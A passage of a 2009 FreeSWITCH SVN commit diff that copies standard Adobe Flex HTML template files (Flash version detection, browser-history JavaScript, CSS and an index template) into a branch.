+	// older WebTV supports Flash 2
+	else if (navigator.userAgent.toLowerCase().indexOf("webtv") != -1) flashVer = 2;
+	else if ( isIE && isWin && !isOpera ) {
+		flashVer = ControlVersion();
+	}	
+	return flashVer;
+}
+
+// When called with reqMajorVer, reqMinorVer, reqRevision returns true if that version or greater is available
+function DetectFlashVer(reqMajorVer, reqMinorVer, reqRevision)
+{
+	versionStr = GetSwfVer();
+	if (versionStr == -1 ) {
+		return false;
+	} else if (versionStr != 0) {
+		if(isIE && isWin && !isOpera) {
+			// Given "WIN 2,0,0,11"
+			tempArray         = versionStr.split(" "); 	// ["WIN", "2,0,0,11"]
+			tempString        = tempArray[1];			// "2,0,0,11"
+			versionArray      = tempString.split(",");	// ['2', '0', '0', '11']
+		} else {
+			versionArray      = versionStr.split(".");
+		}
+		var versionMajor      = versionArray[0];
+		var versionMinor      = versionArray[1];
+		var versionRevision   = versionArray[2];
+
+        	// is the major.revision >= requested major.revision AND the minor version >= requested minor
+		if (versionMajor > parseFloat(reqMajorVer)) {
+			return true;
+		} else if (versionMajor == parseFloat(reqMajorVer)) {
+			if (versionMinor > parseFloat(reqMinorVer))
+				return true;
+			else if (versionMinor == parseFloat(reqMinorVer)) {
+				if (versionRevision >= parseFloat(reqRevision))
+					return true;
+			}
+		}
+		return false;
+	}
+}
+
+function AC_AddExtension(src, ext)
+{
+  if (src.indexOf('?') != -1)
+    return src.replace(/\?/, ext+'?'); 
+  else
+    return src + ext;
+}
+
+function AC_Generateobj(objAttrs, params, embedAttrs) 
+{ 
+    var str = '';
+    if (isIE && isWin && !isOpera)
+    {
+  		str += '<object ';
+  		for (var i in objAttrs)
+  			str += i + '="' + objAttrs[i] + '" ';
+  		str += '>';
+  		for (var i in params)
+  			str += '<param name="' + i + '" value="' + params[i] + '" /> ';
+  		str += '</object>';
+    } else {
+  		str += '<embed ';
+  		for (var i in embedAttrs)
+  			str += i + '="' + embedAttrs[i] + '" ';
+  		str += '> </embed>';
+    }
+
+    document.write(str);
+}
+
+function AC_FL_RunContent(){
+  var ret = 
+    AC_GetArgs
+    (  arguments, ".swf", "movie", "clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
+     , "application/x-shockwave-flash"
+    );
+  AC_Generateobj(ret.objAttrs, ret.params, ret.embedAttrs);
+}
+
+function AC_GetArgs(args, ext, srcParamName, classid, mimeType){
+  var ret = new Object();
+  ret.embedAttrs = new Object();
+  ret.params = new Object();
+  ret.objAttrs = new Object();
+  for (var i=0; i < args.length; i=i+2){
+    var currArg = args[i].toLowerCase();    
+
+    switch (currArg){	
+      case "classid":
+        break;
+      case "pluginspage":
+        ret.embedAttrs[args[i]] = args[i+1];
+        break;
+      case "src":
+      case "movie":	
+        args[i+1] = AC_AddExtension(args[i+1], ext);
+        ret.embedAttrs["src"] = args[i+1];
+        ret.params[srcParamName] = args[i+1];
+        break;
+      case "onafterupdate":
+      case "onbeforeupdate":
+      case "onblur":
+      case "oncellchange":
+      case "onclick":
+      case "ondblClick":
+      case "ondrag":
+      case "ondragend":
+      case "ondragenter":
+      case "ondragleave":
+      case "ondragover":
+      case "ondrop":
+      case "onfinish":
+      case "onfocus":
+      case "onhelp":
+      case "onmousedown":
+      case "onmouseup":
+      case "onmouseover":
+      case "onmousemove":
+      case "onmouseout":
+      case "onkeypress":
+      case "onkeydown":
+      case "onkeyup":
+      case "onload":
+      case "onlosecapture":
+      case "onpropertychange":
+      case "onreadystatechange":
+      case "onrowsdelete":
+      case "onrowenter":
+      case "onrowexit":
+      case "onrowsinserted":
+      case "onstart":
+      case "onscroll":
+      case "onbeforeeditfocus":
+      case "onactivate":
+      case "onbeforedeactivate":
+      case "ondeactivate":
+      case "type":
+      case "codebase":
+        ret.objAttrs[args[i]] = args[i+1];
+        break;
+      case "id":
+      case "width":
+      case "height":
+      case "align":
+      case "vspace": 
+      case "hspace":
+      case "class":
+      case "title":
+      case "accesskey":
+      case "name":
+      case "tabindex":
+        ret.embedAttrs[args[i]] = ret.objAttrs[args[i]] = args[i+1];
+        break;
+      default:
+        ret.embedAttrs[args[i]] = ret.params[args[i]] = args[i+1];
+    }
+  }
+  ret.objAttrs["classid"] = classid;
+  if (mimeType) ret.embedAttrs["type"] = mimeType;
+  return ret;
+}
+
+

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/html-template/history)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/history.css

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/history.css (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/html-template/history/history.css) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/history.css	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/history.css	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,6 @@
+/* This CSS stylesheet defines styles used by required elements in a flex application page that supports browser history */
+
+#ie_historyFrame { width: 0px; height: 0px; display:none }
+#firefox_anchorDiv { width: 0px; height: 0px; display:none }
+#safari_formDiv { width: 0px; height: 0px; display:none }
+#safari_rememberDiv { width: 0px; height: 0px; display:none }

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/history.js

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/history.js (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/html-template/history/history.js) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/history.js	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/history.js	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,645 @@
+BrowserHistoryUtils = {
+    addEvent: function(elm, evType, fn, useCapture) {
+        useCapture = useCapture || false;
+        if (elm.addEventListener) {
+            elm.addEventListener(evType, fn, useCapture);
+            return true;
+        }
+        else if (elm.attachEvent) {
+            var r = elm.attachEvent('on' + evType, fn);
+            return r;
+        }
+        else {
+            elm['on' + evType] = fn;
+        }
+    }
+}
+
+BrowserHistory = (function() {
+    // type of browser
+    var browser = {
+        ie: false, 
+        firefox: false, 
+        safari: false, 
+        opera: false, 
+        version: -1
+    };
+
+    // if setDefaultURL has been called, our first clue
+    // that the SWF is ready and listening
+    //var swfReady = false;
+
+    // the URL we'll send to the SWF once it is ready
+    //var pendingURL = '';
+
+    // Default app state URL to use when no fragment ID present
+    var defaultHash = '';
+
+    // Last-known app state URL
+    var currentHref = document.location.href;
+
+    // Initial URL (used only by IE)
+    var initialHref = document.location.href;
+
+    // Initial URL (used only by IE)
+    var initialHash = document.location.hash;
+
+    // History frame source URL prefix (used only by IE)
+    var historyFrameSourcePrefix = 'history/historyFrame.html?';
+
+    // History maintenance (used only by Safari)
+    var currentHistoryLength = -1;
+
+    var historyHash = [];
+
+    var initialState = createState(initialHref, initialHref + '#' + initialHash, initialHash);
+
+    var backStack = [];
+    var forwardStack = [];
+
+    var currentObjectId = null;
+
+    //UserAgent detection
+    var useragent = navigator.userAgent.toLowerCase();
+
+    if (useragent.indexOf("opera") != -1) {
+        browser.opera = true;
+    } else if (useragent.indexOf("msie") != -1) {
+        browser.ie = true;
+        browser.version = parseFloat(useragent.substring(useragent.indexOf('msie') + 4));
+    } else if (useragent.indexOf("safari") != -1) {
+        browser.safari = true;
+        browser.version = parseFloat(useragent.substring(useragent.indexOf('safari') + 7));
+    } else if (useragent.indexOf("gecko") != -1) {
+        browser.firefox = true;
+    }
+
+    if (browser.ie == true && browser.version == 7) {
+        window["_ie_firstload"] = false;
+    }
+
+    // Accessor functions for obtaining specific elements of the page.
+    function getHistoryFrame()
+    {
+        return document.getElementById('ie_historyFrame');
+    }
+
+    function getAnchorElement()
+    {
+        return document.getElementById('firefox_anchorDiv');
+    }
+
+    function getFormElement()
+    {
+        return document.getElementById('safari_formDiv');
+    }
+
+    function getRememberElement()
+    {
+        return document.getElementById("safari_remember_field");
+    }
+
+    /* Get the Flash player object for performing ExternalInterface callbacks. */
+    function getPlayer(objectId) {
+        var objectId = objectId || null;
+        var player = null; /* AJH, needed?  = document.getElementById(getPlayerId()); */
+        if (browser.ie && objectId != null) {
+            player = document.getElementById(objectId);
+        }
+        if (player == null) {
+            player = document.getElementsByTagName('object')[0];
+        }
+        
+        if (player == null || player.object == null) {
+            player = document.getElementsByTagName('embed')[0];
+        }
+
+        return player;
+    }
+    
+    function getPlayers() {
+        var players = [];
+        if (players.length == 0) {
+            var tmp = document.getElementsByTagName('object');
+            players = tmp;
+        }
+        
+        if (players.length == 0 || players[0].object == null) {
+            var tmp = document.getElementsByTagName('embed');
+            players = tmp;
+        }
+        return players;
+    }
+
+	function getIframeHash() {
+		var doc = getHistoryFrame().contentWindow.document;
+		var hash = String(doc.location.search);
+		if (hash.length == 1 && hash.charAt(0) == "?") {
+			hash = "";
+		}
+		else if (hash.length >= 2 && hash.charAt(0) == "?") {
+			hash = hash.substring(1);
+		}
+		return hash;
+	}
+
+    /* Get the current location hash excluding the '#' symbol. */
+    function getHash() {
+       // It would be nice if we could use document.location.hash here,
+       // but it's faulty sometimes.
+       var idx = document.location.href.indexOf('#');
+       return (idx >= 0) ? document.location.href.substr(idx+1) : '';
+    }
+
+    /* Get the current location hash excluding the '#' symbol. */
+    function setHash(hash) {
+       // It would be nice if we could use document.location.hash here,
+       // but it's faulty sometimes.
+       if (hash == '') hash = '#'
+       document.location.hash = hash;
+    }
+
+    function createState(baseUrl, newUrl, flexAppUrl) {
+        return { 'baseUrl': baseUrl, 'newUrl': newUrl, 'flexAppUrl': flexAppUrl, 'title': null };
+    }
+
+    /* Add a history entry to the browser.
+     *   baseUrl: the portion of the location prior to the '#'
+     *   newUrl: the entire new URL, including '#' and following fragment
+     *   flexAppUrl: the portion of the location following the '#' only
+     */
+    function addHistoryEntry(baseUrl, newUrl, flexAppUrl) {
+
+        //delete all the history entries
+        forwardStack = [];
+
+        if (browser.ie) {
+            //Check to see if we are being asked to do a navigate for the first
+            //history entry, and if so ignore, because it's coming from the creation
+            //of the history iframe
+            if (flexAppUrl == defaultHash && document.location.href == initialHref && window['_ie_firstload']) {
+                currentHref = initialHref;
+                return;
+            }
+            if ((!flexAppUrl || flexAppUrl == defaultHash) && window['_ie_firstload']) {
+                newUrl = baseUrl + '#' + defaultHash;
+                flexAppUrl = defaultHash;
+            } else {
+                // for IE, tell the history frame to go somewhere without a '#'
+                // in order to get this entry into the browser history.
+                getHistoryFrame().src = historyFrameSourcePrefix + flexAppUrl;
+            }
+            setHash(flexAppUrl);
+        } else {
+
+            //ADR
+            if (backStack.length == 0 && initialState.flexAppUrl == flexAppUrl) {
+                initialState = createState(baseUrl, newUrl, flexAppUrl);
+            } else if(backStack.length > 0 && backStack[backStack.length - 1].flexAppUrl == flexAppUrl) {
+                backStack[backStack.length - 1] = createState(baseUrl, newUrl, flexAppUrl);
+            }
+
+            if (browser.safari) {
+                // for Safari, submit a form whose action points to the desired URL
+                if (browser.version <= 419.3) {
+                    var file = window.location.pathname.toString();
+                    file = file.substring(file.lastIndexOf("/")+1);
+                    getFormElement().innerHTML = '<form name="historyForm" action="'+file+'#' + flexAppUrl + '" method="GET"></form>';
+                    //get the current elements and add them to the form
+                    var qs = window.location.search.substring(1);
+                    var qs_arr = qs.split("&");
+                    for (var i = 0; i < qs_arr.length; i++) {
+                        var tmp = qs_arr[i].split("=");
+                        var elem = document.createElement("input");
+                        elem.type = "hidden";
+                        elem.name = tmp[0];
+                        elem.value = tmp[1];
+                        document.forms.historyForm.appendChild(elem);
+                    }
+                    document.forms.historyForm.submit();
+                } else {
+                    top.location.hash = flexAppUrl;
+                }
+                // We also have to maintain the history by hand for Safari
+                historyHash[history.length] = flexAppUrl;
+                _storeStates();
+            } else {
+                // Otherwise, write an anchor into the page and tell the browser to go there
+                addAnchor(flexAppUrl);
+                setHash(flexAppUrl);
+            }
+        }
+        backStack.push(createState(baseUrl, newUrl, flexAppUrl));
+    }
+
+    function _storeStates() {
+        if (browser.safari) {
+            getRememberElement().value = historyHash.join(",");
+        }
+    }
+
+    function handleBackButton() {
+        //The "current" page is always at the top of the history stack.
+        var current = backStack.pop();
+        if (!current) { return; }
+        var last = backStack[backStack.length - 1];
+        if (!last && backStack.length == 0){
+            last = initialState;
+        }
+        forwardStack.push(current);
+    }
+
+    function handleForwardButton() {
+        //summary: private method. Do not call this directly.
+
+        var last = forwardStack.pop();
+        if (!last) { return; }
+        backStack.push(last);
+    }
+
+    function handleArbitraryUrl() {
+        //delete all the history entries
+        forwardStack = [];
+    }
+
+    /* Called periodically to poll to see if we need to detect navigation that has occurred */
+    function checkForUrlChange() {
+
+        if (browser.ie) {
+            if (currentHref != document.location.href && currentHref + '#' != document.location.href) {
+                //This occurs when the user has navigated to a specific URL
+                //within the app, and didn't use browser back/forward
+                //IE seems to have a bug where it stops updating the URL it
+                //shows the end-user at this point, but programatically it
+                //appears to be correct.  Do a full app reload to get around
+                //this issue.
+                if (browser.version < 7) {
+                    currentHref = document.location.href;
+                    document.location.reload();
+                } else {
+					if (getHash() != getIframeHash()) {
+						// this.iframe.src = this.blankURL + hash;
+						var sourceToSet = historyFrameSourcePrefix + getHash();
+						getHistoryFrame().src = sourceToSet;
+					}
+                }
+            }
+        }
+
+        if (browser.safari) {
+            // For Safari, we have to check to see if history.length changed.
+            if (currentHistoryLength >= 0 && history.length != currentHistoryLength) {
+                //alert("did change: " + history.length + ", " + historyHash.length + "|" + historyHash[history.length] + "|>" + historyHash.join("|"));
+                // If it did change, then we have to look the old state up
+                // in our hand-maintained array since document.location.hash
+                // won't have changed, then call back into BrowserManager.
+                currentHistoryLength = history.length;
+                var flexAppUrl = historyHash[currentHistoryLength];
+                if (flexAppUrl == '') {
+                    //flexAppUrl = defaultHash;
+                }
+                //ADR: to fix multiple
+                if (typeof BrowserHistory_multiple != "undefined" && BrowserHistory_multiple == true) {
+                    var pl = getPlayers();
+                    for (var i = 0; i < pl.length; i++) {
+                        pl[i].browserURLChange(flexAppUrl);
+                    }
+                } else {
+                    getPlayer().browserURLChange(flexAppUrl);
+                }
+                _storeStates();
+            }
+        }
+        if (browser.firefox) {
+            if (currentHref != document.location.href) {
+                var bsl = backStack.length;
+
+                var urlActions = {
+                    back: false, 
+                    forward: false, 
+                    set: false
+                }
+
+                if ((window.location.hash == initialHash || window.location.href == initialHref) && (bsl == 1)) {
+                    urlActions.back = true;
+                    // FIXME: could this ever be a forward button?
+                    // we can't clear it because we still need to check for forwards. Ugg.
+                    // clearInterval(this.locationTimer);
+                    handleBackButton();
+                }
+                
+                // first check to see if we could have gone forward. We always halt on
+                // a no-hash item.
+                if (forwardStack.length > 0) {
+                    if (forwardStack[forwardStack.length-1].flexAppUrl == getHash()) {
+                        urlActions.forward = true;
+                        handleForwardButton();
+                    }
+                }
+
+                // ok, that didn't work, try someplace back in the history stack
+                if ((bsl >= 2) && (backStack[bsl - 2])) {
+                    if (backStack[bsl - 2].flexAppUrl == getHash()) {
+                        urlActions.back = true;
+                        handleBackButton();
+                    }
+                }
+                
+                if (!urlActions.back && !urlActions.forward) {
+                    var foundInStacks = {
+                        back: -1, 
+                        forward: -1
+                    }
+
+                    for (var i = 0; i < backStack.length; i++) {
+                        if (backStack[i].flexAppUrl == getHash() && i != (bsl - 2)) {
+                            arbitraryUrl = true;
+                            foundInStacks.back = i;
+                        }
+                    }
+                    for (var i = 0; i < forwardStack.length; i++) {
+                        if (forwardStack[i].flexAppUrl == getHash() && i != (bsl - 2)) {
+                            arbitraryUrl = true;
+                            foundInStacks.forward = i;
+                        }
+                    }
+                    handleArbitraryUrl();
+                }
+
+                // Firefox changed; do a callback into BrowserManager to tell it.
+                currentHref = document.location.href;
+                var flexAppUrl = getHash();
+                if (flexAppUrl == '') {
+                    //flexAppUrl = defaultHash;
+                }
+                //ADR: to fix multiple
+                if (typeof BrowserHistory_multiple != "undefined" && BrowserHistory_multiple == true) {
+                    var pl = getPlayers();
+                    for (var i = 0; i < pl.length; i++) {
+                        pl[i].browserURLChange(flexAppUrl);
+                    }
+                } else {
+                    getPlayer().browserURLChange(flexAppUrl);
+                }
+            }
+        }
+        //setTimeout(checkForUrlChange, 50);
+    }
+
+    /* Write an anchor into the page to legitimize it as a URL for Firefox et al. */
+    function addAnchor(flexAppUrl)
+    {
+       if (document.getElementsByName(flexAppUrl).length == 0) {
+           getAnchorElement().innerHTML += "<a name='" + flexAppUrl + "'>" + flexAppUrl + "</a>";
+       }
+    }
+
+    var _initialize = function () {
+        if (browser.ie)
+        {
+            var scripts = document.getElementsByTagName('script');
+            for (var i = 0, s; s = scripts[i]; i++) {
+                if (s.src.indexOf("history.js") > -1) {
+                    var iframe_location = (new String(s.src)).replace("history.js", "historyFrame.html");
+                }
+            }
+            historyFrameSourcePrefix = iframe_location + "?";
+            var src = historyFrameSourcePrefix;
+
+            var iframe = document.createElement("iframe");
+            iframe.id = 'ie_historyFrame';
+            iframe.name = 'ie_historyFrame';
+            //iframe.src = historyFrameSourcePrefix;
+            try {
+                document.body.appendChild(iframe);
+            } catch(e) {
+                setTimeout(function() {
+                    document.body.appendChild(iframe);
+                }, 0);
+            }
+        }
+
+        if (browser.safari)
+        {
+            var rememberDiv = document.createElement("div");
+            rememberDiv.id = 'safari_rememberDiv';
+            document.body.appendChild(rememberDiv);
+            rememberDiv.innerHTML = '<input type="text" id="safari_remember_field" style="width: 500px;">';
+
+            var formDiv = document.createElement("div");
+            formDiv.id = 'safari_formDiv';
+            document.body.appendChild(formDiv);
+
+            var reloader_content = document.createElement('div');
+            reloader_content.id = 'safarireloader';
+            var scripts = document.getElementsByTagName('script');
+            for (var i = 0, s; s = scripts[i]; i++) {
+                if (s.src.indexOf("history.js") > -1) {
+                    html = (new String(s.src)).replace(".js", ".html");
+                }
+            }
+            reloader_content.innerHTML = '<iframe id="safarireloader-iframe" src="about:blank" frameborder="no" scrolling="no"></iframe>';
+            document.body.appendChild(reloader_content);
+            reloader_content.style.position = 'absolute';
+            reloader_content.style.left = reloader_content.style.top = '-9999px';
+            iframe = reloader_content.getElementsByTagName('iframe')[0];
+
+            if (document.getElementById("safari_remember_field").value != "" ) {
+                historyHash = document.getElementById("safari_remember_field").value.split(",");
+            }
+
+        }
+
+        if (browser.firefox)
+        {
+            var anchorDiv = document.createElement("div");
+            anchorDiv.id = 'firefox_anchorDiv';
+            document.body.appendChild(anchorDiv);
+        }
+        
+        //setTimeout(checkForUrlChange, 50);
+    }
+
+    return {
+        historyHash: historyHash, 
+        backStack: function() { return backStack; }, 
+        forwardStack: function() { return forwardStack }, 
+        getPlayer: getPlayer, 
+        initialize: function(src) {
+            _initialize(src);
+        }, 
+        setURL: function(url) {
+            document.location.href = url;
+        }, 
+        getURL: function() {
+            return document.location.href;
+        }, 
+        getTitle: function() {
+            return document.title;
+        }, 
+        setTitle: function(title) {
+            try {
+                backStack[backStack.length - 1].title = title;
+            } catch(e) { }
+            //if on safari, set the title to be the empty string. 
+            if (browser.safari) {
+                if (title == "") {
+                    try {
+                    var tmp = window.location.href.toString();
+                    title = tmp.substring((tmp.lastIndexOf("/")+1), tmp.lastIndexOf("#"));
+                    } catch(e) {
+                        title = "";
+                    }
+                }
+            }
+            document.title = title;
+        }, 
+        setDefaultURL: function(def)
+        {
+            defaultHash = def;
+            def = getHash();
+            //trailing ? is important else an extra frame gets added to the history
+            //when navigating back to the first page.  Alternatively could check
+            //in history frame navigation to compare # and ?.
+            if (browser.ie)
+            {
+                window['_ie_firstload'] = true;
+                var sourceToSet = historyFrameSourcePrefix + def;
+                var func = function() {
+                    getHistoryFrame().src = sourceToSet;
+                    window.location.replace("#" + def);
+                    setInterval(checkForUrlChange, 50);
+                }
+                try {
+                    func();
+                } catch(e) {
+                    window.setTimeout(function() { func(); }, 0);
+                }
+            }
+
+            if (browser.safari)
+            {
+                currentHistoryLength = history.length;
+                if (historyHash.length == 0) {
+                    historyHash[currentHistoryLength] = def;
+                    var newloc = "#" + def;
+                    window.location.replace(newloc);
+                } else {
+                    //alert(historyHash[historyHash.length-1]);
+                }
+                //setHash(def);
+                setInterval(checkForUrlChange, 50);
+            }
+            
+            
+            if (browser.firefox || browser.opera)
+            {
+                var reg = new RegExp("#" + def + "$");
+                if (window.location.toString().match(reg)) {
+                } else {
+                    var newloc ="#" + def;
+                    window.location.replace(newloc);
+                }
+                setInterval(checkForUrlChange, 50);
+                //setHash(def);
+            }
+
+        }, 
+
+        /* Set the current browser URL; called from inside BrowserManager to propagate
+         * the application state out to the container.
+         */
+        setBrowserURL: function(flexAppUrl, objectId) {
+            if (browser.ie && typeof objectId != "undefined") {
+                currentObjectId = objectId;
+            }
+           //fromIframe = fromIframe || false;
+           //fromFlex = fromFlex || false;
+           //alert("setBrowserURL: " + flexAppUrl);
+           //flexAppUrl = (flexAppUrl == "") ? defaultHash : flexAppUrl ;
+
+           var pos = document.location.href.indexOf('#');
+           var baseUrl = pos != -1 ? document.location.href.substr(0, pos) : document.location.href;
+           var newUrl = baseUrl + '#' + flexAppUrl;
+
+           if (document.location.href != newUrl && document.location.href + '#' != newUrl) {
+               currentHref = newUrl;
+               addHistoryEntry(baseUrl, newUrl, flexAppUrl);
+               currentHistoryLength = history.length;
+           }
+
+           return false;
+        }, 
+
+        browserURLChange: function(flexAppUrl) {
+            var objectId = null;
+            if (browser.ie && currentObjectId != null) {
+                objectId = currentObjectId;
+            }
+            pendingURL = '';
+            
+            if (typeof BrowserHistory_multiple != "undefined" && BrowserHistory_multiple == true) {
+                var pl = getPlayers();
+                for (var i = 0; i < pl.length; i++) {
+                    try {
+                        pl[i].browserURLChange(flexAppUrl);
+                    } catch(e) { }
+                }
+            } else {
+                try {
+                    getPlayer(objectId).browserURLChange(flexAppUrl);
+                } catch(e) { }
+            }
+
+            currentObjectId = null;
+        }
+
+    }
+
+})();
+
+// Initialization
+
+// Automated unit testing and other diagnostics
+
+function setURL(url)
+{
+    document.location.href = url;
+}
+
+function backButton()
+{
+    history.back();
+}
+
+function forwardButton()
+{
+    history.forward();
+}
+
+function goForwardOrBackInHistory(step)
+{
+    history.go(step);
+}
+
+//BrowserHistoryUtils.addEvent(window, "load", function() { BrowserHistory.initialize(); });
+(function(i) {
+    var u =navigator.userAgent;var e=/*@cc_on!@*/false; 
+    var st = setTimeout;
+    if(/webkit/i.test(u)){
+        st(function(){
+            var dr=document.readyState;
+            if(dr=="loaded"||dr=="complete"){i()}
+            else{st(arguments.callee,10);}},10);
+    } else if((/mozilla/i.test(u)&&!/(compati)/.test(u)) || (/opera/i.test(u))){
+        document.addEventListener("DOMContentLoaded",i,false);
+    } else if(e){
+    (function(){
+        var t=document.createElement('doc:rdy');
+        try{t.doScroll('left');
+            i();t=null;
+        }catch(e){st(arguments.callee,0);}})();
+    } else{
+        window.onload=i;
+    }
+})( function() {BrowserHistory.initialize();} );

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/historyFrame.html

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/historyFrame.html (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/html-template/history/historyFrame.html) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/historyFrame.html	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/history/historyFrame.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,29 @@
+<html>
+    <head>
+        <META HTTP-EQUIV="Pragma" CONTENT="no-cache"> 
+        <META HTTP-EQUIV="Expires" CONTENT="-1"> 
+    </head>
+    <body>
+    <script>
+        function processUrl()
+        {
+
+            var pos = url.indexOf("?");
+            url = pos != -1 ? url.substr(pos + 1) : "";
+            if (!parent._ie_firstload) {
+                parent.BrowserHistory.setBrowserURL(url);
+                try {
+                    parent.BrowserHistory.browserURLChange(url);
+                } catch(e) { }
+            } else {
+                parent._ie_firstload = false;
+            }
+        }
+
+        var url = document.location.href;
+        processUrl();
+        document.write(url);
+    </script>
+    Hidden frame for Browser History support.
+    </body>
+</html>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/index.template.html

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/index.template.html (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/html-template/index.template.html) (0 => 14472)


--- freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/index.template.html	                        (rev 0)
+++ freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/index.template.html	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,121 @@
+<!-- saved from url=(0014)about:internet -->
+<html lang="en">
+
+<!-- 
+Smart developers always View Source. 
+
+This application was built using Adobe Flex, an open source framework
+for building rich Internet applications that get delivered via the
+Flash Player or to desktops via Adobe AIR. 
+
+Learn more about Flex at http://flex.org 
+// -->
+
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+
+<!--  BEGIN Browser History required section -->
+<link rel="stylesheet" type="text/css" href="history/history.css" />
+<!--  END Browser History required section -->
+
+<title>${title}</title>
+<script src="AC_OETags.js" language="javascript"></script>
+
+<!--  BEGIN Browser History required section -->
+<script src="history/history.js" language="javascript"></script>
+<!--  END Browser History required section -->
+
+<style>
+body { margin: 0px; overflow:hidden }
+</style>
+<script language="JavaScript" type="text/javascript">
+<!--
+// -----------------------------------------------------------------------------
+// Globals
+// Major version of Flash required
+var requiredMajorVersion = ${version_major};
+// Minor version of Flash required
+var requiredMinorVersion = ${version_minor};
+// Minor version of Flash required
+var requiredRevision = ${version_revision};
+// -----------------------------------------------------------------------------
+// -->
+</script>
+</head>
+
+<body scroll="no">
+<script language="JavaScript" type="text/javascript">
+<!--
+// Version check for the Flash Player that has the ability to start Player Product Install (6.0r65)
+var hasProductInstall = DetectFlashVer(6, 0, 65);
+
+// Version check based upon the values defined in globals
+var hasRequestedVersion = DetectFlashVer(requiredMajorVersion, requiredMinorVersion, requiredRevision);
+
+if ( hasProductInstall && !hasRequestedVersion ) {
+	// DO NOT MODIFY THE FOLLOWING FOUR LINES
+	// Location visited after installation is complete if installation is required
+	var MMPlayerType = (isIE == true) ? "ActiveX" : "PlugIn";
+	var MMredirectURL = window.location;
+    document.title = document.title.slice(0, 47) + " - Flash Player Installation";
+    var MMdoctitle = document.title;
+
+	AC_FL_RunContent(
+		"src", "playerProductInstall",
+		"FlashVars", "MMredirectURL="+MMredirectURL+'&MMplayerType='+MMPlayerType+'&MMdoctitle='+MMdoctitle+"",
+		"width", "${width}",
+		"height", "${height}",
+		"align", "middle",
+		"id", "${application}",
+		"quality", "high",
+		"bgcolor", "${bgcolor}",
+		"name", "${application}",
+		"allowScriptAccess","sameDomain",
+		"type", "application/x-shockwave-flash",
+		"pluginspage", "http://www.adobe.com/go/getflashplayer"
+	);
+} else if (hasRequestedVersion) {
+	// if we've detected an acceptable version
+	// embed the Flash Content SWF when all tests are passed
+	AC_FL_RunContent(
+			"src", "${swf}",
+			"width", "${width}",
+			"height", "${height}",
+			"align", "middle",
+			"id", "${application}",
+			"quality", "high",
+			"bgcolor", "${bgcolor}",
+			"name", "${application}",
+			"allowScriptAccess","sameDomain",
+			"type", "application/x-shockwave-flash",
+			"pluginspage", "http://www.adobe.com/go/getflashplayer"
+	);
+  } else {  // flash is too old or we can't detect the plugin
+    var alternateContent = 'Alternate HTML content should be placed here. '
+  	+ 'This content requires the Adobe Flash Player. '
+   	+ '<a href=http://www.adobe.com/go/getflash/>Get Flash</a>';
+    document.write(alternateContent);  // insert non-flash content
+  }
+// -->
+</script>
+<noscript>
+  	<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
+			id="${application}" width="${width}" height="${height}"
+			codebase="http://fpdownload.macromedia.com/get/flashplayer/current/swflash.cab">
+			<param name="movie" value="${swf}.swf" />
+			<param name="quality" value="high" />
+			<param name="bgcolor" value="${bgcolor}" />
+			<param name="allowScriptAccess" value="sameDomain" />
+			<embed src="${swf}.swf" quality="high" bgcolor="${bgcolor}"
+				width="${width}" height="${height}" name="${application}" align="middle"
+				play="true"
+				loop="false"
+				quality="high"
+				allowScriptAccess="sameDomain"
+				type="application/x-shockwave-flash"
+				pluginspage="http://www.adobe.com/go/getflashplayer">
+			</embed>
+	</object>
+</noscript>
+</body>
+</html>

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/playerProductInstall.swf

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/html-template/playerProductInstall.swf (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/html-template/playerProductInstall.swf)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/libs (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/libs)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/libs/CSSPlus.swc

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/libs/CSSPlus.swc (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/libs/CSSPlus.swc)


(Binary files differ)

Deleted: freeswitch/branches/seven/contrib/swk/flex/amf-test1/libs/Degrafa_.2.11.swc

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/libs/Degrafa_.2.11.swc (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/libs/Degrafa_.2.11.swc)


(Binary files differ)

Copied: freeswitch/branches/seven/contrib/swk/flex/amf-test1/src (from rev 14471, freeswitch/trunk/contrib/swk/flex/amf-test1/src)

